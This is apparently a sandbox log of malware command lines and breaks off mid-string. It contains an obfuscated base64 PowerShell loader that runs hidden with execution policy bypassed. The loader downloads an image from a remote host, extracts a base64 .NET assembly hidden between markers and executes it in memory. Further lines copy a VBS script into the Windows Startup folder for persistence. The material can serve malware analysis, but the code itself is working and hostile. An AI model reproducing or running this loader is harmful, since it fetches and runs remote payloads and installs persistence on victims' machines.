Chr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
cmdline "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
cmdline cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&C